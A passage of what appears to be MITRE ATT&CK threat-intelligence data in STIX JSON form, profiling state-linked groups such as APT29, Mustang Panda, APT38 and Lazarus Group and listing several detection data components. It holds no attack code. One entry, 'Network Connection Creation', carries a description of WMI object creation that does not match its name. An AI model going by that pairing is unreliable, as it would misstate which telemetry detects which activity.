2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"NSA Joint Advisory SVR SolarWinds April 2021","url":"https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF","description":"NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."},{"source_name":"UK Gov Malign RIS Activity April 2021","url":"https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services","description":"UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021."},{"source_name":"UK Gov UK Exposes Russia SolarWinds April 2021","url":"https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise","description":"UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021."},{"source_name":"UK NSCS Russia SolarWinds April 2021","url":"https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise","description":"UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021."},{"source_name":"White House Imposing Costs RU Gov April 2021","url":"https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/","description":"White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)","modified":"2022-04-14T17:14:25.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"APT29","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"Service Creation","description":"Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)","x_mitre_data_source_ref":"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Honeybee"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0072","external_id":"G0072"},{"source_name":"Honeybee","description":"(Citation: McAfee Honeybee)"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/","description":"Sherstobitoff, R. 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(Citation: McAfee Honeybee)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Mustang Panda","TA416","RedDelta","BRONZE PRESIDENT"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","created":"2021-04-12T15:56:28.861Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0129","url":"https://attack.mitre.org/groups/G0129"},{"source_name":"Mustang Panda","description":"(Citation: Crowdstrike MUSTANG PANDA June 2018)"},{"source_name":"TA416","description":"(Citation: Proofpoint TA416 November 2020)"},{"source_name":"RedDelta","description":"(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022)"},{"source_name":"BRONZE PRESIDENT","description":"(Citation: Secureworks BRONZE PRESIDENT December 2019)"},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ","modified":"2022-04-11T16:43:52.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mustang Panda","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Ke3chang","APT15","Mirage","Vixen Panda","GREF","Playful Dragon","RoyalAPT","NICKEL"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","created":"2017-05-31T21:31:47.177Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0004","url":"https://attack.mitre.org/groups/G0004"},{"source_name":"RoyalAPT","description":"(Citation: APT15 Intezer June 2018)"},{"source_name":"NICKEL","description":"(Citation: Microsoft NICKEL December 2021)"},{"source_name":"APT15","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"Mirage","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"GREF","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"Vixen Panda","description":"(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"},{"source_name":"Playful Dragon","description":"(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"},{"source_name":"Ke3chang","description":"(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."},{"source_name":"APT15 Intezer June 2018","url":"https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."},{"source_name":"NCC Group APT15 Alive and Strong","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018."},{"source_name":"Mandiant Operation Ke3chang November 2014","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014."},{"source_name":"Villeneuve et al 2014","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T17:08:18.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Ke3chang","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Confucius APT"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","created":"2021-12-26T23:11:39.442Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"G0142","url":"https://attack.mitre.org/groups/G0142"},{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."},{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":" https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-04-07T22:30:12.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Confucius","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Network Traffic Flow","description":"Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Access","description":"Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Script Execution","description":"Launching a list of commands through a script file (ex: Windows EID 4104)","x_mitre_data_source_ref":"x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT38","NICKEL GLADSTONE","BeagleBoyz","Bluenoroff","Stardust Chollima"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","type":"intrusion-set","created":"2019-01-29T21:27:24.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0082","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0082"},{"source_name":"APT38","description":"(Citation: FireEye APT38 Oct 2018)"},{"source_name":"NICKEL GLADSTONE","description":"(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)"},{"source_name":"BeagleBoyz","description":"(Citation: CISA AA20-239A BeagleBoyz August 2020)"},{"source_name":"Bluenoroff","description":"(Citation: Kaspersky Lazarus Under The Hood Blog 2017)"},{"source_name":"Stardust Chollima","description":"(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)"},{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."},{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."},{"source_name":"DOJ North Korea Indictment Feb 2021","url":"https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and","description":"Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021."},{"description":"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.","url":"https://securelist.com/lazarus-under-the-hood/77908/","source_name":"Kaspersky Lazarus Under The Hood Blog 2017"},{"source_name":"SecureWorks NICKEL GLADSTONE profile Sept 2021","url":"https://www.secureworks.com/research/threat-profiles/nickel-gladstone","description":"SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021."},{"source_name":"CrowdStrike Stardust Chollima Profile April 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/","description":"Meyers, Adam. (2018, April 6). Meet CrowdStrike’s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021."},{"source_name":"CrowdStrike GTR 2021 June 2021","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf","description":"CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021."}],"modified":"2022-01-18T17:13:14.610Z","name":"APT38","description":"[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT32","SeaLotus","OceanLotus","APT-C-00"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Romain Dumont, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","type":"intrusion-set","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0050","external_id":"G0050"},{"source_name":"APT32","description":"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"SeaLotus","description":"(Citation: Cybereason Oceanlotus May 2017)"},{"source_name":"OceanLotus","description":"(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"APT-C-00","description":"(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"},{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-10-14T16:39:50.790Z","name":"APT32","description":"[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)","x_mitre_version":"2.5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-30T14:26:51.806Z","name":"Network Connection Creation","description":"Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"File Access","description":"Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Lazarus Group","Labyrinth Chollima","HIDDEN COBRA","Guardians of Peace","ZINC","NICKEL ACADEMY"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","type":"intrusion-set","created":"2017-05-31T21:32:03.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0032","external_id":"G0032"},{"source_name":"Lazarus Group","description":"(Citation: Novetta Blockbuster)"},{"source_name":"Labyrinth Chollima","description":"(Citation: CrowdStrike Labyrinth Chollima Feb 2022)"},{"source_name":"HIDDEN COBRA","description":"The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)"},{"source_name":"Guardians of Peace","description":"(Citation: US-CERT HIDDEN COBRA June 2017)"},{"source_name":"ZINC","description":"(Citation: Microsoft ZINC disruption Dec 2017)"},{"source_name":"NICKEL ACADEMY","description":"(Citation: Secureworks NICKEL ACADEMY Dec 2017)"},{"url":"https://www.us-cert.gov/ncas/alerts/TA17-164A","description":"US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017.","source_name":"US-CERT HIDDEN COBRA June 2017"},{"source_name":"Treasury North Korean Cyber Groups September 2019","url":"https://home.treasury.gov/news/press-releases/sm774","description":"US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021."},{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","source_name":"Novetta Blockbuster"},{"source_name":"CrowdStrike Labyrinth Chollima Feb 2022","url":"https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/","description":"CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022."},{"source_name":"US-CERT HOPLIGHT Apr 2019","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."},{"source_name":"Microsoft ZINC disruption Dec 2017","description":"Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.","url":"https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/"},{"source_name":"Secureworks NICKEL ACADEMY Dec 2017","description":"Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.","url":"https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing"}],"modified":"2022-03-23T19:01:20.193Z","name":"Lazarus Group","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 